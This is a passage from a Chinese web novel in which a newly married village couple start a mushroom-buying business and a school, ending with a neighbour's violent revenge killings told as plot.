旁边的男人得意地说:“我给你挤过肚子了。” 奈宁立刻听懂他说什么,想踢他,腿脚酸软得,不像自己的。 饿得乏力,下床都没力气走路。 早餐丰盛,满满一桌子的菜,比昨日有过之而无不及,还更加精致昂贵些。 啊不对,应该说是午餐了。 新婚在甜蜜又煎熬之中度过,奈宁天天扶着腰下床,不由在想,没事做的男人真的好恐怖,得赶紧给他找点事做才行。 奈宁正着脸色把事情跟男人一提。 萧练笑道:“夫郎,我们大婚才三日,你就急不可耐,赶着我出去干活了?” 奈宁脸砸一烫,他日日浑浑噩噩,衣来伸手饭来张口,都不知道过了几天。 萧练觉得也该是出门的时候了,这三日尝足了味,也是干点实事的时候了,他与夫郎之间的自己细水长流。 小两口坐下来讨论以后的计划,蘑菇好久没摘了,肯定要再去摘,这次大婚几乎花光了积蓄又要存钱买地。 奈宁担心捡蘑菇不是长久之计,萧练点了点他鼻头,笑道:“别怕,大不了我去当夫子教人读书写字,总能撑起我们的家。” 要是可以,他其实不想待在乡下,种地不是他的长处。 况且他瘸了一条腿,种地也不方便,要当夫子,还不如到郡城里当夫子。 奈宁迟疑道:“夫君之前说,你爹娘财产都卖光了,就没留点钱?” 他很好奇,想问很久了,现在都是夫夫了,问着应该没关系吧。 萧练道:“原本想着方便我读书科举,都存到郡城里去了,要不我们搬到郡城去住?” 奈宁将脑袋摇得像拨浪鼓一样,去了郡城人生地不熟先不说,感觉自己一个乡巴子跟大少爷又远了。 他还是更乐意待在这熟悉的小山村。 当然男人腿脚若是麻利,要科举读书,肯定也是要跟去的,但这不是还跛着吗。 他看了一眼萧练的腿:“等你的腿治好了,咱们再去,也不耽误你读书科举?” 萧练道:“郡上不更好给我找大夫么?” 一句话,好似给了奈宁当头一棍,是这个理。他有点坐立难安,难不成真要立刻去郡上吗? 萧练拍了拍他的手背:“先别想这么多,咱们去摘蘑菇吧。” 谁知还没出门,大门就砰砰砰拍响了,不用开门也知道是谁。 萧家叔伯撕心裂肺的声音吵耳得很:“县城那房子到底怎么回事?怎么就不是萧家的了?你们不是好好的在里面住了十几年了吗?” “那两间铺子又是怎么回事?怎么突然来了一群恶徒把我们从房子赶了出来?害我们露宿街头去那商铺讨钱,又被打了一顿!天杀的呀,还有没有天理!我们几百两银子都投进去了,他说我们是流民匪寇上店铺抢钱!” “是不是你,是不是你联合外人,故意来坑蒙拐骗我们的钱!一定是你,那个掌柜的说什么你们已经把铺子卖给他们了,一定是骗我们的!把钱还给我们,几百两银子啊,那可是我们这些年攒的全身家呀!” “萧练开门,你给我开门,别给我当缩头乌龟!” 萧练冷嗤一声,也不打算开门了,拉着夫郎就要往后门去。 门外的人好像听到了动静,吼道:“再不开门就把你这个破门给撞了!” 萧练冷冷一声:“撞吧,这破门也就几十两银子,有钱赔就赚,没钱赔就吃牢饭去吧!” 说着也不管他们听没听到,拉着奈宁就走了。 奈宁有些好奇,走得远了,忍不住出声道:“这门真的几十两银子呀?” 萧练笑道:“骗他们的!” 他想了想,确实不能现在就到郡城去,不然这个老宅岂不是又便宜了那群无耻之徒。 那些人怎么没把他们弄死呢? 一会去摘蘑菇,不知道他们要不要跟去,跟去就好了,好歹让他们见识一下毒蘑菇。 好久没上山了,八月正是农闲时,好多人上山,奈宁看着这些上山抢着砍柴的人,一棵棵鸡纵菇羊肚菌他们看都没看到一脚踩扁掉,抢着去争那不甚值钱的柴。 他们错过的那些蘑菇不知比柴贵多少! 山里的树林都是有主的,要想砍木就要到深山,砍柴可以砍,但这不是人多么。 奈宁摇了摇头,要是以后他跟大少爷搬到郡上去,那他就教大家采蘑菇,当然信不信由他们。 咦,又或者说他来收购蘑菇,做中间那个商人赚差价! 他双眼一亮,立刻拉着萧练说了自己的想法。 这满山遍野的蘑菇,他跟瘸了腿的萧练摘不过来的。 就像现在都不知道多少天了才出发,不过从这之后他们就有闲工夫了,但是进入八月后,再过没多久,天气冷了,水也干了,蘑菇就不长了。 可以现在就带他们去摘蘑菇。 摘蘑菇都是奈宁教自己的,萧练自然由着他,没有不同意的,还夸他脑瓜子聪明。 把奈宁逗得笑呵呵的,一扫出门时被人找麻烦的沉闷,信步走向秀红婶他们。 “大家都在割草呀!” “对呀,阿宁也来了。” 奈宁裂开嘴笑了笑:“各位婶子,你们想不想摘蘑菇赚钱?” 几日没见,他笑得越发甜了,眉眼弯弯的,但是村子里的人对蘑菇的惧怕根深蒂固,一听到立刻胆颤,倒吸一口冷气,不敢说话。 想到奈大壮的死,莫名觉得这笑容诡异。 奈宁笑道:“哈哈,我来说个方法,你们看行不行,你们摘蘑菇卖给我,不是让你们自己吃,要是愿意,我现在就可以带你们去摘蘑菇。” “上次那个,我们确实是故意带他们去摘的毒蘑菇,心里气不过。她平时恨不得我去死,我为何要带她赚钱?再说了,她能不知道我们带她去摘的是毒蘑菇吗?” 奈宁笑眯眯的转向桂芬婶:“桂芳婶,若是她带你去摘蘑菇,你敢不敢带回去吃?” 桂芬婶一脸恶寒:“自然不敢!” 他们跟谭梨花是邻居,矛盾可多,对方怕是巴不得他们死。 有人不敢,但也是有人敢的,秀红婶笑道:“闲着也是闲着,我跟你去摘蘑菇!” 有不少人跟着道:“我也去,我也去!” 之前大少爷都说没钱了,一转眼就办了这么风光的婚事。 奈宁直接捡起旁边被他们踩烂的鸡纵菇羊肚菌:“这两个蘑菇你们先帮我摘着,就是要这种品质的,但是要没坏的,一斤我给你们五文。” 大家一听眼睛都亮了,这种破不值钱的玩意,还能赚这么多钱? 五文钱都赶上一斤猪下水的价钱了。 桂芬婶原本还在犹豫,一听五文钱一斤毫不迟疑跟着走。 奈宁挑了块高处站上去道:“我带你们摘蘑菇赚钱,教你们辨别蘑菇也是要费心思的,也算是把我的技术传给你们,现在教了你们,以后我自己就没办法摘到这么多蘑菇了,懂吗?” 秀红婶满脸激动道:“懂懂懂,你就是我们的师父!原本你愿意教我们赚钱的本事,我们应该不收钱,免费帮你摘才对!” 旁边人也纷纷应是,还囔囔说,今天就不收钱,就是免费给他打工。 “宁哥儿你就说你要什么蘑菇,告诉我们,立刻就帮你摘得满满的,绝不藏私!” “对对对,绝不藏私不藏私!” 奈宁好满意,那什么如子可教? “不过我还是要给你们钱的!” 奈宁带着大家一起往松茸林那边去,好久没过来了,那些松茸都大得破开泥土出来了。 奈宁乐呵呵地跑上去摘:“这种蘑菇应该很好认,这个给贵些,我给你们二十文一斤!” 大家双眼都蹦出光来,眼睛尖的扭头就看到了好多个。 奈宁喊住蠢蠢欲动的大家:“你们先别急挖吧,我有要求。” 他对蘑菇的要求详细说了一遍。 然后放手让大家去挖。 第57章 第 57 章 夫郎坑我 奈宁说完了, 萧练才从底下爬上来,看大少爷气息不匀,拉着到旁边休息, 吃点瓜果, 喝点水。 看着大家在山林里忙碌,大钱都是自己赚的, 这感觉还挺好。 但莫名又有些愧疚。 他还想留个好名声, 扭头在大少爷身上打主意,大少爷不还说自己能当夫子吗,要不现在就让他当夫子教别人几个字, 那些帮摘蘑菇的人家可以免费送孩子来学习? 萧练喝了两口水,就发现奈宁看着自己眼睛都亮亮的, 有什么诡计在闪烁, 差点没呛到:“怎么了?” 奈宁商量道:“反正闲来也没事, 要不你现在就开始当夫子吧?” 萧练脑瓜子嗡了很久:“……我们大婚才三天?” 是要找点事做, 但不必如此着急。 奈宁轻轻扯了扯他衣袖:“我也想学字。” 萧练心弦被轻轻撩动, 看着他认真期待的表情,笑道:“好!” 奈宁看了眼萧练的腿:“那你可得紧着些教我,我有空还要出去帮你找大夫!” 萧练的手不安分地伸了过来, 把奈宁的手放在自己掌心,轻轻摸着:“自然!” 奈宁立刻跳下来, 拉着萧练:“走, 咱们也去摘!” 太久没来,摘了好多蘑菇都大了烂了,奈宁可惜又不可惜,因为大少爷说过这些长烂了的蘑菇,将来会长出更多更大的蘑菇。 不过有可能就跟他没关系了。 好多人在林间穿梭寻找蘑菇, 但还是没有长年挖蘑菇的奈宁眼尖。 大家聊天说话,一片欢快。 奈宁时不时应两声,心思还是在蘑菇上。 萧练悄悄拉他的手,又发现一簇松茸窝。 其他人看到蘑菇还要拼一下手脚,发现他们这边有,却是不敢抢的。 下午,大家一块下山,背篓都是满的。 奈宁笑道:“大家帮我们摘蘑菇,我让大少爷教大家的娃娃学几个字。” 大家都没想到好事来得这么快,不由得庆幸,幸好与人和善,不然这么好的事哪里能轮得到他们呢? 又有钱赚又能教娃儿读书写字。 对他们这些住在山沟沟里面的人来说,山里面有什么? 什么也没有,就有些柴,木还是别人家的,不能乱伐。 奈宁带着大家往自己家里去,打开前门,想不到萧大伯他们还守在这里,不过还有好多村民在,两拨人僵侍着谁也不让。 看到萧练回来了,一家子怒气压不住,又冲了上来,萧大伯咆哮道:“萧练你个死小子,给我个说法!” 萧练看也不看一眼,偏头看向族长:“族长,我打算当夫子了,你看看谁家孩童要过来学字,明日一早可到我家来。” “好好好,我我现在就去问问,不是,通通通知各家!” 一句话把老族长激动得乱了分寸,着急走了两步,又回头冲萧练那些个亲戚喝道:“不要再来惹事,否则将你们全族逐出村外!” 萧大伯咬牙切齿道:“还有没有皇法?骗人钱财还有理了!我要报官,把你们这群刁民都捉进牢里去!” 他咆哮怒吼也没有见个人搭理他,族长一个眼色,一群壮汉拿着锄头扁担过来将他们轰走了。 “之前不是挺嚣张,现在夹着尾巴回来了就要有个当狗的样,别到村子里四处乱吠,还给你们留个屋子已经是格外开恩了!” 萧练不言不语,冷眼看着他们像狗一般被赶走,顶着他们怨毒愤恨的目光,嘴角慢慢弯起一点笑来。 萧大伯心中莫名发寒,曾经那个温文尔雅的堂侄不见了,变成了一个阴森狠毒的跛脚! 但转念又想想他都跛脚了,不能科举了,又能奈他们何! 他自甘堕落入赘奈家,这一支只配窝在山沟沟里的破落族。 他们只需请萧家宗族出手,稍稍一根手指头就能把他们捏死。 那些人走了,屋子里好像什么事都没发生过一样,萧练转身摸进灶房。 各个妇人一阵唏嘘,那什么君子远灶房,家里男人做饭的少,这位大少爷竟然自己亲自下厨。 大家将蘑菇摊在屋檐下,跟着奈宁一块分拣,辨别哪些蘑菇是好的,哪些蘑菇是坏的。 奈宁带他们摘的都是些比较好区分的蘑菇,那羊肠菌都不太敢带他们摘了,毕竟有一些毒蘑菇长得像羊肠菌,但一开始已经摘了,只能教他们细细辨认。 还是反复提醒道:“见个蘑菇保存三分怀疑,不熟切勿乱摘,我都不敢说熟。” 想想那摘蘑菇口口声声说熟悉却死去的那一家,大家谨慎地点头。 桂芬婶道:“总之咱们摘了蘑菇都带来给宁哥儿看一看!” 秀红婶道:“本来就是给宁哥儿摘的,就是宁哥儿挑蘑菇的时候,我们大家都来学习学习,看看哪些是好的,哪些是不能要的。” 桂芬婶忙道:“我也是这个意思,我这张嘴真不会说话!” 奈宁道:“可以的。” 他原本就没打算太昧良心,松茸二十文一斤还是要给的,毕竟这满地的蘑菇换成钱他都不敢想象自己能赚多少,粗略估算一下,十两是有的。 他带着大家挑了蘑菇就开始称重给钱,少的有一百多近两百,多的两三百。 一开始都说不要,但真收到这么多钱的时候手都在发抖。 一日进账过百文,一亩地水稻一季才多少钱?五百文! 这什么意思,一天就能赚半亩地水稻钱! 这简直不敢想啊! 之前奈宁跟他们说二十文一斤,他们心里多多少少也有点计算,但是真收到钱又是另一回事。 “这这烂山上的破蘑菇真有这么赚钱?宁哥儿你不会把你自己的钱都亏给我们了吧?这么多钱,我们怎么敢收?我我我只要个十文就够了!” 说着还真只捡了十文,要把剩下的钱退回给奈宁。 奈宁:“……” 他能跟他们说一斤松茸一百二十文么? 以后他们知道这价钱会不会把他砸死? 桂芬婶眼有泪花:“亏我还怀疑你,我真该死真该死!这次我不要钱,我家娃也要来读书,这这就当是他们的束脩吧?以后我来帮你摘蘑菇,你要什么蘑菇我们都给你摘!我全家老小都给你摘!” 秀红婶激动得说不出话来,她收到最多钱,嘴唇一直在发抖,喃喃道:“给我们分这么多钱,宁哥儿真的不会亏吗?我说过不要钱的,这这你收回去吧?” 奈宁莫名尴尬:“给你们的就拿下吧。” 还是萧练过来帮他解围:“给的钱就收下,大家先回去,明日把孩子叫过来便可。” 奈宁也道:“快回去吧,以后闲暇多多帮我捡蘑菇。” 好不容易把人劝走了,一个个差点没给他跪下。 这时正是傍晚,卖猪肉的屠夫响亮的声音响彻山间。 一群妇人围过来的时候,屠夫吓了一跳。 再听她们一人要切两三斤肉的时候,更是吓得不轻,还以为是来抢钱呢。 真收到钱了,还愣了一会。 一担子猪肉很快卖了出去,不少婶子还折返,把猪肉提到奈宁家丢下就跑。 秀红婶觉得大家都给猪肉肯定吃不完,提着猪肉直接回家。 她家汉子看到又有骨头又有五花肉,还以为自家婆娘不想过日子了,谁知婆娘转头又去鸡圈捉了两只鸡,满脸春风出了门。 愁啊,这日子还怎么过? 再回来的时候把他喊到房里,一大堆铜板丢到桌上,突然来了一句:“今天赚的!” 每一个字他都听得清楚,但怎么合一起他就听不懂了:“什什么今天赚的?你是不是干什么缺德冒烟的事了!” 秀红婶一屁股坐在椅上,倒茶喝:“胡说什么,老娘今天跟宁哥儿一块上山捡蘑菇了,可累死我了,还不快来给老娘揉肩按腿!” 男人揉肩按背,看着桌子上的铜子喃喃道:“什么金子做的蘑菇值这么多钱?” 秀红婶眉眼都是得意:“你出去可别乱捡,这里头可大有学问,别忘了奈大壮是怎么死的,等我学成出来,再教你们怎么捡!” 男人缓过劲来,嘿嘿笑道:“你不知道我今天多机智,就知道他们婚事办了要出门定有正事干,萧大少爷腿脚不便,定是要当夫子教娃儿读书写字,我一看到萧家那些人过来闹事,立刻把族长喊来了!这次入学名额,咱们几个娃都有份,就是不知束脩要多少,唉。” 秀红婶得意道:“你这个算什么,我早就给咱们娃儿交了束脩!” 听她把话一说。 男人激动的话都说不清楚了,好久才道:“这生活可真是越发有盼头了,先别说将来能不能科举当官吧,就多识几个字去当个掌柜的,或者又像宁哥儿知道什么蘑菇能卖钱,那也是顶好的!” …… 奈宁看着送完肉就跑的大家,无语失笑。 萧练不管这些,提着猪肉提着鸡,问夫郎要吃什么。 奈宁之前在镇上看到过那种用泥土裹着的鸡肉,敲开泥土香得很,现在也想试一试。 萧练笑道:“应该是叫花鸡。” 小两口一起忙碌,烧水拔鸡毛,奈宁生怕腥味重毁掉整个鸡肉,有些拿不准放什么调料。 萧练拄着拐回书房翻书,搬出个食谱,照着上面做调料,将鸡肉里里外外抹一遍,再裹上荷包,又在院子里挖泥土,冲水和匀,糊在荷叶上。 叫花鸡耗时长久,奈宁在火堆里丢了两个红薯,又熬了些绿豆汤吃,等待的过程萧练在奈宁掌心打圈儿。 “夫郎不会怪我乱出主意吧?” 奈宁抱着食谱,一心扑在叫花鸡上,一时不知夫君所云:“什么啊?” “我跟族长说,明日可以将孩童叫来咱们家学字之事。” 奈宁笑道:“怎么会怪你呢?还是你想得周到,以后他们都会感激咱们的,咱们去了郡城他们也会好好帮咱们看管房子。” “嗯。”萧练露出个灿烂笑容,没什么比夫夫同心更来得舒心。 叫花鸡熟时天都黑了,拿棍子将泥土敲开,香气溢出之时,奈宁顿时觉得折腾再久都值得,浓郁鸡肉香里透着荷叶清香,等剥开荷包,蒸腾香味溢出,更是将人肚子里的馋虫都勾出来了。 奈宁抹了抹嘴角的哈喇子,真是没闻过的香味。 鸡肉原本就香滑,加上泥土荷叶将它的味道牢牢锁在肉的本身,蒸汽也溢不出去,肉质嫩滑还鲜美多汁。 奈宁吃完一个鸡腿的肉也不觉得腻,跟鸡汤的鸡腿一样嫩滑,肉味却更浓郁些,真是好吃得叫人难以忘怀。 两只小狗子也跟着饱足了口腹之欲。 新婚不久的男人情欲之事要重些,把奈宁圈在怀里,翻书学习,怕动作幅度过大泼了油,还点上了蜡烛。 奈宁不由怀疑,若不是大少爷腿脚不便,估计要将他按在桌上。 莫名脸蛋羞红,心里蠢蠢欲动,低声说:“靠床太近了,一会烧了床怎么办?咱们到那边桌上去吧?” 萧练摁着他的腰,眸光深沉也不拒绝。 等去了才发现不对劲,性感的声音杂着一缕幽怨:“夫郎坑我!” 奈宁想起他推磨,时不时发笑,现在差不多就是那个样子,只是好歹没摔倒。 不过萧练也不蠢,搞了两下就知道怎么办了,将奈宁牢牢压在桌上,莫名还让他情绪高涨了些。 第58章 第 58 章 为夫教你写字 奈宁脸颊烫烫的, 这桌子的动静不对劲呀,吱呀吱呀,闹腾得厉害。 萧练牢牢压在他身上, 好像更喜欢这般, 咬着他耳畔低声说:“我教夫郎认字吧。” 他也不用手,在紧要处碾写, 奈宁能感觉到, 浑身烫得要烧起来,难堪得偏过脸去:“哪有这么教认字的。” 根本就不可能认出来! 萧练颇有耐心道:“没关系,我慢慢教。” 慢是慢了, 却是沉。 握着一本书,一本正经, 又一点不正经。 忽略他勾人夺魄的容颜, 蛊人心魄的嗓音, 真真是个有耐心的夫子, 这一教便到了夜深。 被他用来“写字”的地方阵阵发麻。 清晨萧练神清气爽地磨墨写字, 将纸装到信封里,回房看看夫郎,这会才醒, 温声笑道:“夫郎昨晚教的字,学会没有?” 奈宁脸蛋瞬间红透, 将他推开:“别说了。” 萧练拉着他的手出去:“我再教你写一次。” 奈宁一个颤栗, 感觉全身又要烧起来。 昨晚他写过之后让他跟着写一遍,他怎么写,他都不知道他怎么动的! 他胡乱动弹,男人一本正经地说不对,笔画不对。 这还能看出笔画吗? 萧练将他圈过来, 禁锢在书桌前,一只手握着他的手,一只手撑在桌上:“为夫教你写字。” “人之初,性本善,性相近,□□,苟不教,性乃迁,教之道,贵以专。” 他还要再往下写,奈宁浑身发烫地推开他:“够了够了。” 前三个字都迷迷糊糊,不知所言。 “没关系,晚上为夫会陪夫郎慢慢温习。” 每一个字奈宁都觉得烫耳得很,艰难地说:“我也不知道,你在写什么……” 那狠狠地压着他的动作,粗暴的横撇竖勾,根本分不清楚! 萧练很有耐心:“没关系,我们慢慢练,总有一日能分出来。” 看着他舒朗正经的眉眼,奈宁羞得无地自容,这种不正经的话,怎么如此轻易说出口? 还脸不红心不跳。 要不是他顶不住,旁人或真要以为萧大少爷就是单纯地在教他读书写字而已。 这边刚吃完朝食,门外就有声音。 奈宁回房休息去,脸颊还在阵阵发烫,根本不能直视大少爷教人读书写字。 不过萧练出去并没多久,他只教了三个字:人之初。 拿了根树枝,在门口侧边大大地写着,写完棍子一丢,让族长在这里铺一层沙,方便写字。 今日他跟奈宁要到镇上去,卖蘑菇,昨天摘的蘑菇太多了,请族长帮忙租了牛车,学童的爹娘七手八脚帮着把蘑菇扛上车。 萧练回去把夫郎拉出来,这会儿的奈宁比新婚时还要羞涩,萧练往他脑袋上扣了个斗笠,系好带子,帽檐往下压了压,挡住大半张脸,心情愉悦的,给自己也带了个,拉着夫郎要去架牛车。 族长还想让大孙子跟着去,教了两下萧练自己就懂驱车,大言不惭地说:“就不麻烦大侄子了。” 那大孙子比他们两个年纪都见长,但确实该叫他们声叔,谁叫辈分升上去了呢。 一时哭笑不得。 奈宁见好多个妇人眼巴巴看着自己,不光有昨日跟着一起摘蘑菇的,还有新来的。 剪了几个蘑菇出去:“你们可以继续摘这几种蘑菇,千万别乱吃,等我回来再检查。” 大家有了事情干,笑得眼尾都起了皱纹,连声说好的好的。 萧练回头看看夫郎,又看看满车的货物,心中畅快,扬鞭启程。 出了村子道路变得宽阔,日头有些晒,一道阴影迎上来,偏头,入目是羞涩但眼睛明亮的夫郎,撑着一柄大红伞,头发衣袂随风飘扬,一缕香气钻入鼻间。 奈宁将萧练脑袋上的斗笠也除了开,萧练顿时觉得整个人都清爽起来,斗笠戴在头顶上又沉又闷的。 奈宁坐在萧练身侧,不怎么说话,身子随着牛车的晃动挤在一起,心里灌了蜜似的。 路上有人喊,是不是到镇上。 萧练当没听到,一鞭子下去,牛跑得更快了些。 奈宁直止不住笑。 镇上的道路不算窄,牛车可以直接驶进去,伙计一看到他们,喊了声老板立刻冲出来,大家卷起袖子七手八脚地搬货。 老板一个劲地笑呵:“这一趟这么多,看着还挺新鲜!” 奈宁笑笑也不多说。 这一趟比想象中赚得多一些,有十七两,当然没除成本。 奈宁拉着夫君在街道上游走,难得这么开心悠闲,到处都要走走逛逛,还停下来买不少东西吃,路边摊子的钵仔糕,压榨出来的玉米汁,还有香喷喷的烤鸡腿,见个都买。 吃不完往大少爷嘴里塞,大少爷化身老黄牛,任劳任怨。 萧练拉着他往乡县衙那边走,投了一封信。 奈宁道:“上次你的信怎么寄出去的?” 萧练道:“找族长寄的。” 两人不知不觉走到张贴告示的墙边,奈宁盯着上面的字看,夫君教了他几个字,看了半天没看到认识的,疑惑道:“这是什么?” 回头才发现夫君脸色不太好。 与夫郎目光对视上,萧练略微窘迫:“这是本届考上秀才名单。” 忽然又有些恍惚,喃喃道:“现在也该是考乡试的时候了。” 奈宁反应了好一阵才明白,乡试应该就是考举人,把手伸过来,悄悄捏了捏夫君的手:“没事的。” 他笑容明媚,萧练心中那点郁结不知不觉消散,也笑了出来:“我就是突然觉得时间过得好快。” “快么?这才多久,你我都已经成夫夫了。” “哈哈,那倒是。” 寻常人家提亲下聘到成亲,怎么说也要半年。 看到夫君笑出来,奈宁心里松了一口气。 萧练拉着奈宁坦然念上面的名字。 旁边有个摊贩笑道:“这都张贴好久了,你们才来看呀,有亲戚在榜上么?” 奈宁胆子莫名大起来,竖着拇指,朗声道:“我夫君早是秀才了,还是第一名,要不是他腿脚不好,这回就该是举人老爷了!” 萧练看着夫郎眉宇间的那点得意骄傲,心里不由得暖暖的。 就算现在这样子,依然还是夫郎的骄傲。 闻言,旁人都没有挖苦的反而是惊讶:“难道难道你就是那个萧大少爷?” 说完奈宁也脸烫,悄悄看了眼夫君,见夫君对自己笑,勇气莫名又鼓起来:“行不改名坐不改姓,我夫君正是萧练!” 萧练脸颊烫起来,但还是开心,低咳一声道:“正是我。” 看着围过来的人越来越多,奈宁笑道:“我夫君打算在家里开一年半载的书塾,若是有愿意的,可以上门来跟我夫君学习!” 说完他拉着萧练就跑了,从人群里挤出去,一直跑到偏僻处才停歇,止不住哈哈哈笑。 “这不是没能考吗?先吹个牛!” 看着夫郎肆意飞扬的笑容,萧练忍俊不禁:“好的!” 莫名畅快。 谁知没走两步,前面又有一出好戏,竟然遇到萧得金,被一个打扮妖艳的女子拿着棍子从屋子里赶出去:“有钱才有爱,没钱谈什么爱,也不拿镜子照照自己什么德行?滚,下次再来,见一次打一次!” 萧得金愤愤道:“果然是婊子无情,我在你身上投了多少钱,你就这么对我!” 那女子啐了声:“没钱谁愿伺候你!” 一转眼就看到这边的奈宁萧练,立刻换了一副笑脸:“要是那位哥哥,让我贴钱我都愿意!” 萧得金回头看到萧练,眼底的愤恨几乎要喷出火来。 萧练拉着奈宁扭身就走,以前在学堂读书,不少同窗相约寻花问柳,他嫌索性连学堂都不去了。 风流才子柳花巷里遇佳人,他不懂也无法理解,更不想让自个夫郎知道这之间的肮脏。 萧得金追在后头骂:“你以为你什么东西,不过一个小白脸,瘸腿残疾!” 谁知转出转角,就一个群人迎过来,看到萧练满脸喜气:“在这里在这里,萧大少爷在这里!” 看到这么多人来,萧得金双腿立刻抖若筛糠,贴在墙壁不敢动弹。 “萧大少爷,你倒是说一声你的书塾开在哪里才是啊!” “萧大少爷,你们怎么跑来这边来了?哎哟,这旮旯很多赌鬼酒鬼跑来,脏臭的很!可不兴来呀!” 坐着牛车回家奈宁心情还是愉悦的,哼着不知名的曲。 “你有没有看到刚才你堂哥的表情?哈哈,太精彩了!谁才是无用之人,还用说吗,哼!” 气得他哼哼,神情太精彩了,萧练忍不住凑过去亲了亲他嘴角。 这会拉的是空车,路边好多人招手问他们拉不拉客呢。 奈宁推开人,脸蛋红扑扑的,低声说拉。 萧练瘪了嘴。 上来好多人,围在后面坐,还有人把买到的东西分着一起吃。 热热闹闹其乐融融,奈宁心情颇好,看到有孩童教了他们早上夫君教的字:人之初。 奈宁担心教错了,跟夫君确认。 萧练掌心痒痒的点了头,夸夫郎有慧根,一教就会。 字写在手掌心看不到,但是小孩子有模有样地写出来,奈宁转头就把夫君夸自己的话夸到小孩子身上。 大家都乐了。 车里充满欢声笑语。 等到下车了,客人一定要给钱,笑道:“你们都什么时候出车,以后我们还要坐。” 奈宁就笑着挥挥手。 回家之后要给他发现一件稀奇的事,他看到牛二进了奈家,更让人稀奇的是,还有别的男人,不止一个两个,一个个眼眶凹陷,脚部虚浮。 奈大壮不是死了吗?怎么会有这种不三不四的男人进奈家。 不过他也没有多想,跟着夫君开开心心走了。 第59章 第 59 章 谭梨花杀人了 看到他们回来, 大人小孩都很兴奋。 倒在院子里的蘑菇比奈宁想象中还多,竟然还有松茸,就是没有那么多。 奈宁正忙着挑蘑菇, 把一些毒蘑菇以及他不认识的蘑菇挑出来, 不认识的蘑菇他也不打算丢掉,到时候一块问问能不能卖。 陆陆续续有人背着蘑菇过来。 一直忙到傍晚。 这时忽然有人慌慌张张闯进来:“不好了不好了, 大事不好了!” 没等他喘匀气, 一个惊天骇人的消息被丢了出来:“奈大壮家又又又死人了,谭梨花杀人了!” 大家赶过去,纷纷倒吸一口冷气。 谭梨花就在门口, 拿着柴刀浑身鲜血,这会儿才反应过来自己杀了人一样, 看着双手浑身都在颤抖。 门口躺着的人早就没动静了, 可以看出是往外逃跑的时候被砍死的, 细看正是牛二。 从门口往里面看, 院子里不只躺了一个人, 横七纵八,还有三个男人! 即使是看惯了杀猪的村人都觉得头皮发麻,那小孩子更是哇哇大哭。 不小妇人喊着作孽作孽, 赶紧把小孩拉走了。 更多的人还挺大胆在旁边看着,议论纷纷。 “今天晌午谭梨花将她几个孩子都赶到了外祖家, 她自己鬼鬼祟祟出来换酒, 我看她那样子,哎哟,可怜的哦,人不人鬼不鬼的,瘦巴巴的, 看着人都不太精神,也不太正常了!我瞧着就心里直嘀咕,果然出事了!” “她怎么会跟牛二在一起了?” “你不知道吧,牛二想做拉皮条生意,这种人之前一开始就有这种想法了,见个穷苦人家就劝人将哥儿姐儿卖窑里去!” “难怪他之前要买宁哥儿,还肯出十两银子这么多!” “这谭梨花也真是的,想把宁哥儿卖过去,就不知道这种人有什么歹毒心肠吗!” “她不是不知道,她就是不在乎!” “幸好宁哥儿跑了,轮到他们一家摊上这祸害,现在好了,家破人亡。以后她那三个孩子就有好日子过了,嘿嘿,这就叫做报应!” 桂芳婶说:“不瞒你们说,我早就见牛二进她了,还拿了几个不知哪里偷来的柿子跟我们家打招呼,说以后都是邻里邻居了,我男人直接拿柴刀来将他赶了出去!之后这一家子就没得安宁过,天天能听到她家传出哭声打骂声,我都不好意思说,经常三更半夜能听到,从她家传出那些不三不四的声音,那听着可凶残。牛二这发瘟半点不知道捡点,三更半夜闹那么大动静。哎呀,这日子过得可惨了,以前恨她又恨得入骨,之后看她又觉得怪可怜的。” “这种人你还敢可怜她?你别忘了奈大壮怎么死的,我怀疑就是她故意毒死的。” “把怀疑去掉!就是她毒死的,不然她怎么会跟牛二勾搭在一起,定是被牛二抓住了把柄!” 谭梨花也是长得有几分姿色的,最后跟了牛二这种猪憎狗嫌的老鳏夫,后者自己一个人享受不够,还拉这些不三不四的男人上门。 估计谭梨花自己也恶心得不轻,冲着牛二那张脸狠狠又踩了几脚,拿菜刀将他砍的面目全非,突然开始吐起来,但她一日长长没什么东西落肚,吐出来的都是苦水。 那天被牛二握住了把柄,她太害怕了,在惊惧颤抖之中被牛二得了逞,之后牛二直接躺在她家,让三个儿子叫他爹。 一开始得了乐趣,牛二还有点人样,说会将她三个儿子视为己出,她咬咬就将就了。从来没跟过这么丑的男人,晚间做事的时候都要把脸深深埋在枕头里,看都不想看一眼。 奈大壮虽然不是人了些,年轻时也是有个好相貌的。谭梨花嫉妒奈宁他娘嫁了个好看的男人,后来奈宁他娘死了,她就迫不及待贴上门来,对奈宁非打即骂,把曾经对那个女人的怨恨嫉妒都撒到了奈宁身上。 她没有想到同一幕发生在她三个儿子身上。 一次两次牛二自己能寻到乐趣,后来嫌弃她像条死鱼,使着劲儿折腾她,还对她三个儿子非打即骂,恨他们是奈大壮的儿子,不是自己的亲骨肉。 牛二连奈大壮都不如,猪狗不如,骗她说有赚钱快的法子,一问竟然是那种娼妓才做的事,她以为拒绝了就没有这种事了,日子还能忍着,结果今天牛二就把男人带上门来了,不是一个两个,还都是又丑又恶心的臭男人。 一个就够她恶心了,还有几个,完全不把她当人看,她能杀一个男人就能杀第二个…… 那些毒蘑菇她从来没丢掉,牛二真以为她是用砒霜将那死男人给杀死了,砒霜只不过是担心他死的不够透。 等将他们全部毒倒后,她森森冷笑,先把那些肮脏的东西通通砍了,之前动手动脚这会知道跑了,一个个手脚都剁了干净。 …… 周边人还在唏嘘:“所以说什么想要什么人不知,除非己莫为!” “可不是,做人可不能太缺德了。” 萧练看得头皮发麻,默默挡在夫郎身前。 奈宁看了一眼,看到斑驳鲜血就没有多看,一点也不伤心难过。 谭玲花打他骂他恨不得他的那张嘴脸,他没有那么大肚量可以原谅她。 如果不是他逃了出来,这个命运就该是他的。 现在只不过是轮流回施暴者身上。 他转身拉着夫君要走。 谁知这时人群突然响起惊慌失措的声音:“宁哥儿小心!” 一扭头,谭梨花疯了似地向他冲过来:“都是你都是你,你个狗杂种,你个狗杂种,要不是你,我们家怎么会破落成这个样子,啊啊啊啊啊啊!” 要不是他逃跑,他们把他卖了,拿了钱干净了事,怎么会染上牛二这种瘟腥! 但她根本够不到奈宁,一村子汉子拿着扁担锄头赶过来架着她。 “我都说了,这种人值不得可怜,一点都不懂得反思自己到底是为什么变成这样子的!” “还不是因为自己黑了心肝,自己生的就当人,别人生的就不当人看!杀人偿命,等你死后你那几个孩子也要不被当人看了,到时候你等着在黄泉里乐呵!” 即使这么多人挡着她,她依然发疯,拿着柴刀乱砍,见个人都砍,眼睛红得要滴血,一定要冲到奈宁跟前去,一定要杀了奈宁。 